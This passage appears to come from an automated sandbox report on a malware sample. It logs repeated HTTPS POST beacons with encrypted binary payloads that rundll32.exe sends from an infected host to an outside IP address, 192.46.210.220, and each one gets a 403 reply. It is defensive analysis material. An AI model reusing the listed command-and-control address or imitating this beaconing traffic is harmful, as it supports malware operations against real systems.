6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: y&RW=LqDQQa:H}nKIX+t.jB`3k7;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:52:09 UTC	183	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:52:09 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.5	49912	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:52:12 UTC	183	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:52:12 UTC	184	OUT	Data Raw: 44 a4 de cc 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: D&RW=LqDQQa:H}nKIX+t.jB`3kV;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:52:12 UTC	193	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:52:12 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.5	49913	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:52:12 UTC	188	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:52:12 UTC	188	OUT	Data Raw: 79 e7 fd 16 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: y&RW=LqDQQa:H}nKIX+t.jB`3k7;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:52:13 UTC	193	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:52:13 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.5	49920	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:52:15 UTC	193	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:52:15 UTC	194	OUT	Data Raw: 44 a4 de cc 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: D&RW=LqDQQa:H}nKIX+t.jB`3kV;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:52:16 UTC	203	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:52:16 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.5	49766	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:51:05 UTC	19	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:51:05 UTC	19	OUT	Data Raw: 79 e7 fd 16 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: y&RW=LqDQQa:H}nKIX+t.jB`3k7;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:51:06 UTC	24	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:51:06 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.5	49921	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:52:16 UTC	198	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:52:16 UTC	198	OUT	Data Raw: 79 e7 fd 16 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: y&RW=LqDQQa:H}nKIX+t.jB`3k7;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:52:17 UTC	203	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:52:17 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.5	49927	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:52:19 UTC	203	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:52:19 UTC	203	OUT	Data Raw: 44 a4 de cc 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: D&RW=LqDQQa:H}nKIX+t.jB`3kV;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:52:20 UTC	213	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:52:20 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.5	49929	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:52:20 UTC	208	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:52:20 UTC	208	OUT	Data Raw: 79 e7 fd 16 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: y&RW=LqDQQa:H}nKIX+t.jB`3k7;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:52:21 UTC	213	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:52:20 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.5	49936	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:52:24 UTC	213	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:52:24 UTC	213	OUT	Data Raw: 44 a4 de cc 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: D&RW=LqDQQa:H}nKIX+t.jB`3kV;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:52:24 UTC	223	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:52:24 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.5	49937	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:52:24 UTC	218	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:52:24 UTC	218	OUT	Data Raw: 79 e7 fd 16 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: y&RW=LqDQQa:H}nKIX+t.jB`3k7;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:52:25 UTC	223	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:52:25 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.5	49944	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:52:28 UTC	223	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:52:28 UTC	223	OUT	Data Raw: 44 a4 de cc 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: D&RW=LqDQQa:H}nKIX+t.jB`3kV;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:52:28 UTC	233	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:52:28 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.5	49945	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:52:28 UTC	228	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:52:28 UTC	228	OUT	Data Raw: 79 e7 fd 16 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: y&RW=LqDQQa:H}nKIX+t.jB`3k7;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:52:29 UTC	233	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:52:29 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.5	49953	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:52:31 UTC	233	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:52:31 UTC	233	OUT	Data Raw: 44 a4 de cc 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: D&RW=LqDQQa:H}nKIX+t.jB`3kV;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:52:32 UTC	243	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:52:32 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.5	49955	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:52:32 UTC	238	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:52:32 UTC	238	OUT	Data Raw: 79 e7 fd 16 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: y&RW=LqDQQa:H}nKIX+t.jB`3k7;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:52:33 UTC	243	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:52:32 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.5	49968	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:52:35 UTC	243	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:52:35 UTC	243	OUT	Data Raw: 44 a4 de cc 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: D&RW=LqDQQa:H}nKIX+t.jB`3kV;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:52:36 UTC	253	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:52:36 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.5	49772	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:51:09 UTC	24	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
